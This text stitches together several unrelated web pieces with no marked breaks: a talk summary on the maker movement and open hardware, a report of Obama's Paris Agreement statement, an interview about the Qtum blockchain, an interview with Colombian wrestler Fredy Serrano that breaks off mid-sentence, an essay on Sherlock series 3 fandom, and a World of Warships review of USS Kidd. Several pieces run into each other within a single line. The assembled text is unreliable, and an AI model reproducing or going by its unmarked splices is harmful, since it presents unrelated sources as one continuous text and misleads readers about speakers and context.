Makers and open hardware projects have legal concerns distinct from open source, she said. While open-source software is driven by copyright licensing, factors other than copyright are involved when dealing with physical objects. The community has developed two separate open-hardware licenses: one from CERN and one from Tucson Amateur Packet Radio (TAPR). Both, interestingly enough, are named "Open Hardware License." Reconciling them may prove difficult, but that is the sort of problem that the open-source community has dealt with many times in the past.
Suehle pointed out that the open-source movement resolved many of its difficulties by working through them as a community, which the maker movement will probably do as well. Today much of the maker movement community is found in local and regional hackerspaces. The hackerspaces are often isolated from one another, but there are examples where the movement is working together in large-scale, national or international efforts, which is a promising sign. She gave the open medical-device community as a key example.
The next challenge for the maker movement will be to figure out viable business models that can make money, she said. Many of the movement's highest-profile successes have been crowdfunding campaigns. They can have positive benefits, such as building an interested user community before launch, but they are still far from an instant-success formula.
The good news, Suehle said in conclusion, was that the drift away from "open by default" thinking among a few key players in the maker movement by no means spells disaster. Ultimately, the maker movement is made up of millions of people, and the open-source community can help them re-center themselves. Makers are a community that like to adapt and that thrive on innovation.
The open-source community knows both of those principles well—Suehle pointed out that open-source developers are, in fact, "makers" in their own right. The question is, what will the open-source community do to make things better in the maker movement, and to encourage the maker movement's virtuous cycle of innovation?JUST IN: Former Pres. Obama on Paris Agreement: “In the absence of American leadership…states, cities, and businesses will step up." pic.twitter.com/JsrjPoYuA9 — This Week (@ThisWeekABC) June 1, 2017
Former President Barack Obama says the Trump administration is joining "a small handful of nations that reject the future" by withdrawing from the Paris climate change pact.Obama is defending the deal that his administration painstakingly negotiated. He says the countries that stay in the Paris deal will "reap the benefits in "jobs and industries created." He says the U.S. should be "at the front of the pack."The former president says in a statement that Trump's decision reflects "the absence of American leadership." But Obama says he's confident nonetheless that U.S. cities, states and businesses will fill the void by taking the lead on protecting the climate.Obama says that businesses have chosen "a low-carbon future" and are already investing heavily in renewable sources like wind and solar.----------Exclusive Interview with Qtum’s Jordan Earls
Fresh off the heels of a mainnet upgrade optimized for proof-of-stake, Qtum is a cryptocurrency project that many are watching. In this interview, Sam Safahi sits down with Qtum’s Jordan Earls to talk about the recent update, competitors, and the future of their blockchain.
How would you best describe Qtum to someone who’s never heard of it before?
Qtum is an independent blockchain platform that aims to bring innovative smart contracts to mobile and IoT devices, while also implementing several strategies for seamlessly changing the scalability and security parameters of the blockchain.
What are the reasons you switched over to your own blockchain?
By switching to our own blockchain we allow ourselves to operate with more freedom and in the process we help decentralize the blockchain ecosystem. In theory, we could have built Qtum by making several bitcoin improvement proposals to add our new opcodes and hope that the consensus mechanism in bitcoin would be changed, but the changes wouldn’t have been adopted because of the general agreement to keep Bitcoin development as conservative as possible.
How do you plan to compete with coins such as NEO, Stellar, and Ethereum?
We believe that we have some of the best technology in the industry given that more than 10 dapps plan to build on Qtum and we just launched the main network, Ignition, last month. Right now we are the first proof-of-stake smart contracts platform, which is a huge achievement given this seems to be where the trend is going.
More of our other differentiating technologies will become more evident in the next 6-12 months. Next year we will launch lightning networks built on Qtum and our x86 virtual machine that will enable smart contracts to be written in more standard development languages like C++, Rust, Go, Haskell and many more. The x86 VM will open up smart contract development to the mainstream. Also, in the coming months we will release some APIs and other developer tools so it will be easier interact with Qtum-based smart contracts.
What is your vision for Qtum?
Jordan: The vision for Qtum is to bring together the disparate blockchain communities so we can focus on advancing the entire blockchain ecosystem. Our short term goal is to grow the blockchain industry and highlight the many use cases that can effectively highlight this technology to enhance and automate business operations.
How has news from China affected Qtum? (ICO Ban)
Jordan: The China “ICO Ban” has affected the whole industry. It’s a tricky situation because we want to spotlight the technology that many of Chinese developers have helped put together. Even before this news came out, we strived to be what an ideal blockchain project would look: We open-sourced our code repository, we provided weekly community and development updates, we released monthly expenditure reports, and we even offered a refund to ICO backers. We can be hopeful that there might be some framework put in place, but for now we are just going to keep focusing on our technology and bringing the power of this to smart contract and decentralized app developers.
Where do you think blockchain technology will be in five years?
I think in five years it will become more evident that blockchain technology is here to stay and not just a fad, or just about hype. I believe that right now blockchain is comparable to the internet in the early 90s. You once had to understand TCP/IP stacks, DNS, modems, and all of these other technical protocols and details. You basically needed to be an expert to use it. But now in 2017, if you ask a child “what is the internet?”, they might stare at you and reply “what’s the internet,” all the while watching Youtube or Netflix.
I see the blockchain in a similar way in several years, you might order a rideshare, or upload a video, or sign up for internet… And not even be aware that you’re using blockchain technology because it is so seamless.
What measures has Qtum taken to prevent scamming in the slack?
The whole blockchain community has fallen victim to a number of quite sophisticated scammers. We always advise members in our slack community that no one from Qtum will ever ask a user to provide their private keys. We try to be active whenever we get a direct message in slack to let other community members know to beware, we have pinned messages, and we posted a notice in our weekly updates. There’s limited admin functionality; therefore, going forward we are planning to move away from Slack to a self-hosted Discord platform.
What are some examples of mobile phones using Qtum to execute smart contracts?
Most of the mobile functionality will be illustrated when more dapps release their software. Some applications will make their blockchain infrastructure almost unnoticeable, which is how it should be done to gain more users.
Right now you can see an early demo here:
If you could change one thing, what would it be?It's a familiar refrain we've all heard before: an amateur wrestler converts to mixed martial arts fighter after a career in the singlet has come to a close.
But maybe this time the situation is, well, a little more unique.
Meet Fredy 'El Profe' Serrano. He is arguably the best male wrestler to ever emerge from Colombia. Born and raised in the capital of Bogota, he's captured numerous titles in prestigious South American wrestling tournaments, but is more known for being a 2007 Pan Am bronze medalist at 55kg and competing as an Olympian in the 2008 Beijing Games. Like many other wrestlers before him, now he wants to try his hand at flyweight MMA.
What makes Serrano's case noteworthy is that he is one South America's first world-class athletes with a strong amateur sports pedigree to convert to MMA among the Spanish-speaking countries. MMA fighters have been pouring out of Argentina for years. Peru's Inka FC routinely stages respectable shows (all things considered), but there aren't many documented cases of established, career athletes making the switch to MMA from within South America's Spanish-speaking territories.
Even more noteworthy is the timing of Serrano's retirement from wrestling and transition to MMA. Last week, the UFC announced a landmark television deal with Caracol, one of Colombia's most-watched television channels. The network is home to some of the country's most popular telenovelas, soccer games, news broadcasts as well as popular game and reality shows. Now it's home to four live UFC events a year plus a wide range of UFC shoulder programming.
Serrano's had two fights in his home country, both of which he won, both of which were unsanctioned. And at age 33, time is not on his side. But with his interest in MMA coinciding with the UFC's interest in South America beyond the confines of Brazil, the timing is right for both parties to potentially change the sport's popularity and profile in the region.
On a recent trip to the United States that was funded by t-shirts Serrano's sponsor Ghost MMA sold on his behalf, the Olympian spoke to MMA Fighting with the help of a translator about the state of MMA in Colombia and South America, how popular the sport can be, training with Frankie Edgar and Marcelo Garcia, his competitive goals and more.
Why, at age 33, did you finally decide to take up mixed martial arts?
Look, I've had a career as a wrestler since 1990. So finally, this sport has become the professional outlet of some sports, in this case, Olympic wrestling. So my interests in working in this, really from the beginning as a child were focused on combat sports. This is not very new for me.
Have you formally moved to America? If so, what prompted you to finally make the move?
At this moment, I'm just here for a small trip, a few days. But with time I think it's going to be necessary to be here in the United States. I have to come back to Colombia and make some arrangements. In some time I think I'm going to be living here.
The reasons are a lot. First, I can improve my quality of life. I can showcase important aspects of my career. I'm a children's coach in Colombia, so I think this is very to incentivize getting into wrestling. In a country like Colombia, in reality it doesn't have the commercial marketing that is needed to promote this sport.
Why not move to Brazil where there are also world-class camps?
I work at the Octagon MMA gym and the Ghost MMA store is also located there led by Irvin Rey. So he made a contact with Hector Castro, who at this moment is my representative and manager. The career developed in this direction than towards Brazil. However, I think it has been an excellent decision because this is where we have to be.
So far, what has the training been like here?
This has been the best measurement to know how far I am from being the best. The best in MMA are here in the United States. This week I had the chance to train with Frankie Edgar. I trained with many fighters that are at a very good level. In terms of jiu-jitsu, I have also been at Marcelo Garcia's school.
I have realized what level there is here and what I have to improve, what I have to work on in order to get where I want to be and to improve my game to be able to get into the major leagues, which is want we want.
How did you end your competitive amateur wrestling?
I retired about 6 months ago. I competed in national tournaments in Colombia and that's where I retired. It was very beautiful and representative of my career because I had to take my wrestling shoes off in front of everybody in the colesium.
The audience paid me respect for my career in the sport, so that was my official retirement. I had a career as I said before for 23 years. During those years, I participated in Beijing Olympics. I was a Pan Am medalist. I was the national champion 13 years in Colombia, among other things in my wrestling career.
What motivated you to start wrestling?
I'm blaming my mom. We are from a very humble neighborhood in Bogota. She always wanted us to be busy so we would do something different during our free time. As an unintended consequence, I found amateur wrestling. That was my love and my dream. And from there, a lot of opportunities came up and I went through the process. My mom is to take the blame for that.
I started in a neighborhood called La Victoria, which is in the southeast part of Bogota. There was a gym there and I trained wrestling there until 1997.
My trainer wasn't there anymore after that. I took over the school and as of today am a coach and trainer in the same neighborhood in the same gym.I am still working the children and kids there. I still continue with the work, but now leading the process.
What is wrestling like in Colombia? Where did you do most of your training?
In Colombia, wrestling is not a very commercial sport and there it lacks of financial support. We used to train some seasons concentrated at the home of the wrestling national team which is Medellin. But, we also when we had the chance we traveled to some tournaments, so we had the chance to compete at the Grand Prix in Europe, camps in Romania, for example. And that was a way for us to train and get prepared. But, most of the time I was in Colombia training with the national team.
Wrestling is much bigger here in the U.S. and still it's hard for a wrestler to make money. How did you survive while competing?
I was very fortunate to build my career around training kids, so they paid me a salary for being their coach. This allowed me to have more time to train more. However, in the beginning of my career, it was very hard. I was a father when I was very young, so at 17 with at kid, the responsibilities were big. My love was always wrestling, but I had to work in construction and mechanical work and in my spare time I'd train. Thank God with time, I got to improve my wrestling level and it allowed him to make a living out if it. And that improved my financial situation and quality of life.
Compared to other South American countries, where does Colombia stand?
I know that in some countries MMA is getting really popular. In Ecuador they are putting together some events, I heard in Argentina they are doing something. But I think MMA is still in the early stages in these countries, in Colombia MMA is just staring. However, there are lots of fans and people that are curious about the sport. Obviously my career as a wrestler allows me to get access to a high level of MMA and I and I really want to spend time dedicated to this... the expectations for MMA are high
Are there other wrestlers like you in South America who are considering MMA?
At this moment I don't really know. I understand there are some teammates that are thinking about making the transition from other sports to MMA. But I can say that I'm the first Colombian to have access to a manager in the United States and start a professional career in MMA.
What is the state of MMA in Colombia? Various news reports I've seen from El Tiempo and other media outlets make it seem to be something lewd and violent.
In Colombia some reporters haven't been professionals and have shown MMA like it's something illegal, that it's not a sport and that has damaged the image of the sport in Colombia. However, there are some people that are trying to lead the incursion of the sport in Colombia by putting together serious events. Also, there are some gyms that are working very hard on the training level. But there are also, lots of irresponsible people that are doing events that are opening gyms without having any knowledge and this is creating conflict. People don't really know what is happening with MMA in Colombia. I can tell you that in this sense, the sport is very, very new in Colombia.
Can a fighter in South America outside of Brazil make a living competing in MMA?
No, it wouldn't be possible. The truth is that what they paid at events in Colombia is very minimal and also there are events that get canceled or change dates at the last minute, so it's very frustrating. I don't really think you can make a living out of MMA in Colombia or South America. It‘s a dream to be able to do that, but I don't think is possible at this moment.
How popular can It be in South America?
I think this sport is growing worldwide, not only here in the U.S. The problem is that in countries like Colombia it's moving a little bit slower, but we are starting to make interesting things within the sport. The fact that I'm training here is going to help a |
was a hearse, an ‘empty hearse,’ with the air date of the premiere spelled out in flowers, driven past key locations from the show. I stopped by one of the waiting points, the North Gower Street stand-in building for 221B Baker Street, on my way to UCL. When I had to leave after 15 minutes, I felt a strange sense that I was betraying something.)
By some stroke of miraculous luck, my professional life and my fan life physically intersected in the final weeks of the year. I managed to get a press invitation to the premiere, and had a mild heart attack as I was checking in and saw Stephen Moffat’s curly head gliding past a long queue of deerstalker hats — fans who’d been waiting for return tickets, some of them, it was rumored, since the night before. At the pre-screening reception, I made a friend, a financial journalist about my age. “I really love this show,” she told me. I nodded vigorously. “But I would never wait all night to get a ticket!” she went on. My vigorous nodding slowed to a gentle bob. Would I? I’d considered it. But I had taken an easier option because that privilege was available to me.
I looked around the room and puzzled at this collection of people. We were journalists; we were fans; perhaps we were that kind of fan, but we weren’t announcing it. This complicated dynamic would carry over into the post-screening Q&A, where Caitlin Moran (whom I generally love, incidentally), engaged in a classic Moran-style fuck-up, forcing Benedict Cumberbatch and Martin Freeman to read a passage from a John/Sherlock fanfic. It wasn’t particularly explicit but it was romantic and sexual, to be certain, and it was abundantly clear that neither the actors nor anyone in the audience — including those of us who read this stuff in our spare time — wanted this read aloud onstage. She apologized profusely, but the incident set the tone for the strange interplay that would mark the weeks that followed, between the show’s makers and its fans, from casual to hardcore, and the critics observing and trying to explain what they didn’t fully understand.
The three episodes aired over the span of 11 days here in the U.K., each of them pulling in about a third of the British viewing public and millions more abroad, through legal means or otherwise. Moffat wanted an “event,” and he got it, three times over. It felt like every British person on my Twitter feed had a 140-character review. Public opinion appeared to sway wildly from week to week, and newspapers seemed to be hunting for controversy, publishing positive reviews and then countering them with takedown pieces, highlighting the most polarizing voices and muting more nuanced views. They do that with everything these days, you say. They’re just looking for clicks. Yes: we are in agreement! But there is something to be said for placing so much anticipatory weight on a television show: nothing can be all things to all people, and Sherlock felt smothered by the weight of nine million expectations. Tons of people loved it, and were put off by negative criticism; tons of others threw up their hands and said, “This is not what I signed up for. This is not my show.” Others still urged people to calm down: it’s just a TV show after all. But to say this diminishes the importance of storytelling in our lives, in whatever mode. It’s hard not to get invested in stories, and in characters, that we love. That’s what people do.
As a critic and as a person who wants to see this show continue to be made, I felt I had a vested interest in the critical and public reactions, respectively. But at my core, I am a fangirl. I read and write fanfiction (never published; I hate WIPs), and I obsess. I’ve always obsessed. A lot of fan activity these days happens on Tumblr, and the Sherlock community there fractured around divided opinions, too — though they somehow never managed to align with those of the rest of the world. We all want different things from the things we love; we’re all inevitably disappointed in some way. Mixed reactions in fan communities are par for the course — transmedia scholar Henry Jenkins pinpointed something key when he wrote that “fan fiction emerges from a balance between fascination and frustration.” One of the biggest criticisms leveled at Sherlock’s writers this time around was an accusation of “fan service” — that the fourth wall was being pecked away at, sometimes outright shattered, and elements were added with a knowing eye focused on fans, particularly the “vocal” group that the show has attracted. Within the fandom, some fans agreed and took this accusation to heart, while others felt they weren’t being serviced enough, or at all. Emotions ran high, and vitriol sprung up; I spent 11 days feeling far more tense than I should have. I took long walks along the Thames, and even went to church a few times to clear my head.
(It’s worth noting here that a lot of fan communities are most vocally female, and I don’t think that the Sherlock fan community is any exception. It felt like there was a special criticism being leveled at female fans of Sherlock, “silly fangirls,” that sort of thing, dismissed as a group of people who like watching Benedict Cumberbatch ruffle his hair (c’mon guys, this is clearly all humans, ever) or people who welcomed the fair amount of screen time being devoted to character development in these three episodes. Somehow these were female desires being imposed, despite the three men writing the scripts. There’s an analogy in here to modern fiction, in men refusing to read books marked as feminine in some way, that sort of thing, but I can hold onto that one for another day.)
I’ve always been a lurker — eager to consume fan works and conversations but hesitant to join in. This time around, I was joined by two fellow lurkers, “R” and “L,” friends from college who love the show but have mostly kept their spiraling meta-analyses inside their heads. We let it all out, the kind of avalanche of analysis and reaction a lot of us have after reading a book or seeing a movie with friends, but for days on end. We had a lot to say: thousands of words across nearly a hundred emails. We all process stories by talking them through, trying to balance rationality with emotional response. We scrutinize; we flail and squee. And in our little group of three, we split. R, the one who’s been with the show the longest, wavered, hating most of the first two episodes but finding more to like about the third. In the end, she walked away wholly disheartened with the show. “There were absolutely lots of great scenes in this series but to me they don’t fit together,” she wrote in one of her final emails. “And though I’m inclined to try and rationalize I don’t know if there’s a point because the heart of it is that I just don’t trust the showrunners anymore.”
L and I wound up on mostly the same page: largely happy with the show but fairly unhappy with all the dissatisfaction and the unending dissections. The normal pains of absorbing new material were amplified by the speed at which the series aired, and the length of the episodes themselves. It was tiring: I wrote, on the eve of the finale, “Oh God I just want tomorrow to be over so I can stop having a mild heart attack and we can get back to fanfiction.” I was looking for someone to make sense of it all, and had the good fortune to come across Anne Jamison shortly after the first episode aired, via some very smart women who write some very smart fanfiction, and, I learned and shouldn’t have been at all surprised to see, some very smart critiques (aka meta) of the show.
Jamison is an academic who participates in the Sherlock fandom, amongst others; her latest book, Fic: Why Fanfiction Is Taking Over the World came out late last year. I got my hands a copy and promptly devoured it. It should be noted that, post-Christmas 2013, this is the first book I’ve actually fully read in electronic form; is it that experience, or something in way it is written and pieced together (guest contributions interwoven with a strong, linear narrative from Jamison herself) that makes it feel very new? I’m liable to say it’s the latter — she writes in the introduction: “The desire to host this conversation leaves Fic somewhere between monograph and edited collection. It might help to think of it as a tour through a curated exhibit that I’ve arranged and guided and shaped.” It’s also likely that the subject matter has a hand in this: Jamison writes of fanfiction working in many directions, from the traditional author/reader relationship to more lateral connections, fanfic writers and readers working across genres and preferences and even source material to create webs based, above all, on taste: what we want to read, and love reading, a vast network of influences and references and experimentation and quick, constructive feedback. A utopia — sometimes. At the very least, a way of sharing stories that feels refreshingly organic, and one that continues to evolve — in fascinating ways — with technological shifts in communication.
The resulting portrait of the long and varied history of fandom — with a specific emphasis on fic, and, oh, what a delight to see some fanfic I’ve read and loved analyzed like any other good work of literature — is a picture of the wide-open spaces in between. Books and television shows and movies inherently leave gaps; whether we choose to linger over them, to explain them away, or to work fill them in, is our right as consumers of art, and as fans. But it’s easier to see what fans get from the creators of art than what they really deserve. I wrote to Jamison and asked if she could help me puzzle out what had happened with Sherlock series 3: why was it so divisive, and what about the fans in all of this? What did she think of the ideas about challenges to the fourth wall?
“From my perspective — viewing Sherlock as a very high quality, very clever, very well-written fan work — this show has always challenged the fourth wall,” she wrote in response. “Their mission statement is to mess with canon and to redefine it as inclusive — if they feel like it. They are not writing the kind of reverent, in-universe missing case or missing scene pastiche that has long been popular with Sherlockians.” Throughout the episode-run, there was so much talk about how the show had changed — and those who didn’t like those changes insisted it was for the worse. Jamison draws up what I think is a great analogy: “If you *loved* the early Beatles, there’s no guarantee you’re going to love Abbey Road, because the band had gotten to a very, very different place musically and personally. I don’t think it’s unreasonable of people to want more of what they love, and not to have it change…But obviously, there were more Beatles fans who were happy to see the band grow and go in new directions, even if they preferred some over others. And that’s exactly what happened with Sherlock.” She continues:
I think Sherlock *is* fanservice but I think that the creators themselves are the fans they are servicing. They couldn’t make this show if they weren’t incredible Sherlock Holmes fans. Sherlock is in the enviable position of being event television that people will tune in for. They can afford not to play it safe. By going over familiar ground — with Sherlock Holmes — and by doing so few episodes, they buy the opportunity to do very new things in television. Just like fanfiction writers always do — people will tune in for the characters and read something more experimental than they might otherwise because there’s enough there to make them feel at home.
Jamison helped me sort out some of the thorniest bits that lie at the heart of the show’s specific problems in relation to its fans — there are gendered issues at work here, for one, questions of representation, perhaps reasons why the broader universe is ripe for those coming from, and looking for, the spaces in between. (“I think your sense of gender discrimination, though, and gendered storytelling, is spot-on,” she wrote. “Part of the problem is that somehow narratives about feeling have become coded as feminine. That wasn’t the case in [Arthur Conan Doyle]’s day.”) We’ve put the full (long) conversation up over on her tumblr if you’re interested. Funnily enough, while we were exchanging e-mails, an incident similar to the Moran fanfic fiasco cropped up, this one concerning Amanda Abbington, the cast’s newest regular, and her objection to fan art depicting her partner, Martin Freeman. Jamison has smart things to say on that, too.
The Hiatus has begun again, and the British public has moved on with their lives. Hell, they probably moved on the Monday after the finale aired, perhaps after a chat at the proverbial (or literal? Is that still a thing?) water cooler. (The Daily Mail wrote an amazing blustery article that morning saying Sherlock was full of liberal bias, and we all had a much-needed laugh.) It’s been a few weeks now, and the fans remain, because fans always remain, and will continue to turn over the text in new and surprising ways. Some people have abandoned the show, I’m sure, but new fans are probably tentatively stepping through door as I write this. People will try to explain away their confusion, and if they can’t rationalize it, well, they can fix it, too. The fanfiction has begun. I feel less of a need for long, drizzly walks along the Thames — at least not for this stuff, anyway — though I am slightly wary about going through another round of “event” television again. On the other hand, I really cannot wait to see what’s coming next. I certainly cannot wait another two years. Please, please, for the love of God, not another two years.
About a week ago, my friend L sent a beautiful meditation on the meaning of the show in her own life, which, after all of this, she still loved — with reservations, of course.
Spending time thinking and writing about Sherlock is on one level a form of escapism. It’s a place where I can let my mind do some gymnastics while I’m waiting in line at the bank or washing the same cup for the hundredth time at work. But it’s not just any place where I’m mentally doing just anything. In the tradition of the science fiction and fantasy novels that I love best, Sherlock deals with a lot of ideas and issues in a manner that is indirect enough that it is not obvious and preachy, yet they are still realized in a compelling way…Certain lines or plot points act like catalysts for things that are already going on in my head. Much of it comes from the magic of these characters, the Sherlock Holmes and John Watson that have endured and been re-imagined and reinvented for over a century. A lot of it comes from the universe created by Moffat and Gatiss, and still more from the combined chemistry and individual performances of Cumberbatch and Freeman. For whatever reason, I find that this environment is a wonderful place to grow the seeds of these big thoughts in the semi-privacy of my own brain.
I get invested in this stuff too, certainly; fictional characters from both high and low culture have always occupied prime seats in my mind (palace). In the end, these are just stories, which is what we’re after most of all, I suppose — a way to contextualize our own stories, the ones we tell ourselves to make sense of things. Anything that’s both beloved and serialized has to deal with the disconnect between the stories that its creators want to tell and the stories that fans, from the casual on up to the obsessive, want to see. For me, I suppose it’s like any addiction — I’m so grateful for everything we get, and then, when the dust settles, I just want to see more.
There is a weirdly fitting coda to all of this: I was working to finish this essay in a coffee shop in Central London a few evenings ago, and my computer’s battery ran out just as I typed the word “showrunners.” I sighed and took off my headphones and shut my laptop. And then I heard a very familiar laugh: I looked around and did a genuine double take, because Mark Gatiss was sitting about 10 feet away, chatting with a friend. I tried not to freak out. I was paralyzed: a devoted fan and the creator of said fan’s interest just a few feet apart in a random café and where the hell was the fourth wall (made of impenetrable brick) that I needed to keep me from rushing over and making a fool of myself? I didn’t, don’t worry. Too shy or too scared, or maybe, to put a more positive spin on it, too considerate of a private individual having a conversation to interrupt. After he left, the man at the next table turned around and said, “Was that Mycroft!?” So much more than that, I wanted to tell him. I nodded instead. There’s a metaphor in all of this, somewhere.The following is a review of USS Kidd, a ship kindly provided to me by Wargaming. This is the release version of the vessel and these stats are current as of November 9th, 2017.
With historical ties to the vessels Essex, Alabama, Arizona and Black which also appear in World of Warships.
With historical ties to the vessels Essex, Alabama, Arizona and Black which also appear in World of Warships.
Quick Summary: A Fletcher-class lolibote that sacrifices one quintuple torpedo launcher and manoeuvrability for improved speed, anti-aircraft firepower and a Repair Party consumable.
Cost: The equivalent of 9,100 doubloons
Patch and Date Written: Patch 0.6.12.1 to 0.6.13.0, October 28th to November 9th, 2017.
Closest in-Game Contemporary
Degree of Similarity: Clone / Sister-Ship / Related Class / Similar Role / Unique There are many small differences between the two ships. The most telling are their speed, consumables, torpedo armament and anti-aircraft firepower. Kidd is faster than Fletcher but she doesn’t handle as well. She has only a single quintuple torpedo launcher and she’s stuck with Fletcher’s stock torpedoes. Her anti-aircraft is improved with additional 40mm Bofors and 20mm Oerlikons. As a tier VIII ship, she has less hit points than Fletcher but she compensates for this with a Repair Party consumable. There are other minor differences too, such as Kidd having slightly worse concealment by air.
Fletcher, Tier 9 American Destroyer
PROs
Comes with a Repair Party consumable.
consumable. Armed with five rapid-fire 127mm rifles with amazing turret traverse speeds of 34º/s.
Excellent AA power for a destroyer, including access to Defensive Fire.
. Good top speed of 38.0knots.
She’s very stealthy with a 5.80km surface detection range with a full concealment build.
Combined features make her an excellent forward scout. CONs
The shell flight time on her 127mm/38 guns is horrible.
She has only a single torpedo launcher.
The torpedoes are the same fish found on Benson (the stock torpedoes for Fletcher — boo-urns).
The reload on this torpedo launcher is longer than HMCS Haida’s development time (Summer 2018, maybe?)
Emphasis on “for a destroyer” in regards to the excellent AA power thing. They require a deep investment in skills to make them a credible threat and then only with her Defensive Fire consumable active.
consumable active. Large turning circle for a destroyer at 620m.
She’s not doing a lot of damage on her own with her current build, making her more reliant on support-damage to be profitable.
I’m always excited to see new tier VIII premiums. They feel, I dunno, more legitimate than other premiums. It’s a silly sentiment, but they truly are the flagship vessels in a given line. People look to them not only for grinding out experience to train Captains, but also to earn credits to help maintain their fleet. Tie in the added bonus of the competitive meta surrounding tier VIII in Ranked Battles and tournaments and it’s hard not to get excited. Seeing the United States Navy finally get some tier VIII premium love in 2017 with Alabama and Enterprise has certainly been a highlight for me. I couldn’t be happier to see USS Kidd join the fleet.
At least, that was my initial sentiment until I played her. For those unaware, she had a rather troubled and delayed development cycle and for a while, it was anyone’s guess whether she’d actually make it into the game or not. The ship we received looks normal enough on paper, but her looks can be deceiving. What we’ve received is a highly specialized vessel with a very distinct role at which she excels. Getting the most out of this vessel is a real challenge.
Truth be told, USS Kidd reminds me a lot of USS Sims in terms of game play.
Options
Well, there’s one fun little surprise here with Kidd’s Repair Party, but the rest is to be expected. Her Damage Control Party is standard for a destroyer. Kidd is an American lolibote. Right out of the gates, she has access to the improved Smoke Generator for that nation. This improves not only the smoke cloud’s duration (124 seconds vs 89 seconds at tier VIII), but also the emission time of the smoke (28 seconds vs 20 seconds at tier VIII). In short, it allows USN destroyers to lay more smoke which lasts longer. In practical terms, Kidd can generate up to 10 individual smoke clouds maximum. This comes with the standard two charges by default. Now let’s talk about the exciting bit: Kidd’s Repair Party is a standard version of this consumable. Kidd queues up 100% of fire, flooding, ramming and overpenetration damage. She queues up 50% of everything else. It’s nice not to have to worry about citadel hits. Each charge heals up the standard 14% of the ship’s maximum HP (2,338 damage in Kidd’s case) over 28 seconds. This comes with two charges by default. Finally, Kidd must choose between the Engine Boost consumable or a Defensive Fire consumable. I say this is a “choice” but it’s not. Take Defensive Fire. The destroyer version of Defensive Fire has a reduced active period of 30 seconds compared to the 40 seconds of a cruiser version while sharing the same 180/120 second reset timer. However, the DPS gain from the destroyer consumable has increased from x3 to x4 with patch 0.6.13. Either one of these consumables comes with two charges by default. Make sure you load up on as many premium consumables as you can afford. Kidd is an expensive ship to run. Consumables: Damage Control Party
Smoke Generator
Repair Party
Engine Boost or Defensive Fire Module Upgrades: Five slots, standard destroyer upgrades Premium Camouflage: Type 10. This provides 50% bonus experience gains, 3% reduction in surface detection and 4% reduction in enemy accuracy. This is the gorgeous Measure-22 paint scheme which you will also see on other American premiums like Missouri, Alabama and Massachussetts.
We’re going to build Kidd to emphasize her AA power.
In her first slot, take Magazine Modification 1. She’s a destroyer with a Repair Party. Your cause of death to detonations just went up because you can take more hits than other destroyers.
. She’s a destroyer with a. Your cause of death to detonations just went up because you can take more hits than other destroyers. In your second slot, take AA Guns Modification 2. This will bump up your AA range handsomely and better allow you to assist allies when they come under aircraft attack.
. This will bump up your AA range handsomely and better allow you to assist allies when they come under aircraft attack. In your third slot, take Propulsion Modification 1 to help keep your engines intact. It will help a little and speed is life.
to help keep your engines intact. It will help a little and speed is life. In your fourth slot, take Propulsion Modification 2. You may find yourself parking in smoke on occasion and this will give you a nice jump start.
. You may find yourself parking in smoke on occasion and this will give you a nice jump start. And finally, take Concealment System Modification 1 to make yourself sneakier.
Special Upgrades! There are three Special Upgrades worth considering. If you don’t have access to these, don’t worry about it. They are rare. You can win them from Super Containers or from Ranked Battles and other events. Smoke Generator Modification 1 would replace AA Guns Modification 2 in the second slot. This increases the smoke generation time for Kidd from 28 seconds to 36 seconds but reduces the individual cloud duration to 118 seconds. This isn’t a very strong choice. If you wanted to throw away Kidd’s anti-aircraft firepower advantages and reduce your spotting-experience gains, go nuts, but it’s a loser move.
would replace in the second slot. This increases the smoke generation time for Kidd from 28 seconds to 36 seconds but reduces the individual cloud duration to 118 seconds. This isn’t a very strong choice. If you wanted to throw away Kidd’s anti-aircraft firepower advantages and reduce your spotting-experience gains, go nuts, but it’s a loser move. Next up in the Special Upgrades you won’t be using but technically are compatible with Kidd is Engine Boost Modifiaction 1. This competes with Propulsion Modification 1. You won’t take this because you’ll have Defensive Fire and not Engine Boost on this premium like a smart person.
are compatible with Kidd is. This competes with. You won’t take this because you’ll have and not on this premium like a smart person. And finally, also competing with Propulsion Modification 1 is Defensive Fire Modification 1. Now this seems like a no brainer — it increases the active time of Kidd’s Defensive Fire from 30 seconds to 36 seconds. The only reason I would imagine that someone wouldn’t want to stick this on Kidd would be the rarity of the consumable and the demand to put it on other ships before giving it to a destroyer.
Firepower Primary Battery: Five 127mm/38 rifles in an A-B-P-X-Y superfiring configuration. Torpedo Armament: Five tubes in a 1×5 launcher behind the funnels facing forward. Kidd’s firepower sucks. USN 127mm/38 Mark 30s, we meet again. The last time we crossed swords with these weapons on a premium ship was with USS Sims at tier VII. These are the same guns found on Fletcher, Black and Benson, so veterans of the American destroyer line should immediately be familiar with the strengths and weaknesses of these guns. They mirror these other ships identically with their excellent rate of fire, the wicked fast gun traverse, the horrible muzzle velocity and the oh-so infamous shell flight time. Penetration and fire chance are all on par too. The detection in smoke while firing is different, however, with Sims having a 2.8km detection while everyone else has a 2.7km. Don’t ask me why.
It’s not even a contest. The shell flight time for the USN 127mm/38s is terrible. We’re probably going to have to wait for the Royal Navy destroyers before we see Kidd’s shell flight time compare favourably to anything. This is compensated for by some of the highest HE DPM among the high tier destroyers. The lesson here is that Kidd can potentially do a lot of damage with her guns — but only so long as you can overcome the challenges of her weak penetration and horrible ballistics.
In theory, these guns are ideal for short range knife fights with enemy destroyers where they can throw out a wall of rapid fire shells and pummel their opponents into submission. The reality is that outside of 8km, it becomes very difficult to lead other lolibotes properly — especially if you’re working with a 1920 x 1080 screen resolution (or smaller) and you have a habit of firing from maximum zoom. Kidd needs to seize enemy destroyers by the belt buckle, keep close to them and hammer shells home lest she embarrassingly gets outgunned by a Yugumo. Once ranges increase beyond this comfort zone, it’s better to go gun silent, dodge and disengage; especially if they run away to tattle on you to bigger boats. The stranger-danger presented by grown-up ships is quite palpable given that you cannot rely on Kidd’s torpedoes. The USN 127mm/38s really struggle at tiers VIII+ to put out the damage on larger vessels. Their anemic fire chance, horrible ballistics and poor penetration values all compound to a muddy mess. Kidd’s HE penetration sits at 21mm which can be boosted to 27mm with Inertial Fuse for HE Shells at the expense of her chance to set fires. This is already quite low on a per-shell basis, though the recent changes to the skill have softened this blow somewhat. This improvement to penetration will allow Kidd to damage the extremities of all battleships at tiers VI and VII, along with those of most cruisers up to tier X with the exception of the American and German cruisers at tiers VIII+. Without this boost, she’s reliant upon setting fires and peppering superstructures to do the lion’s share of her damage. Damage saturation mechanics, the reduced fire damage on cruisers and the increased prevalence of fire resistance skills and upgrades among battleships only makes it harder on Kidd to be relevant with her guns alone. If this sounds bleak, it’s because it is.
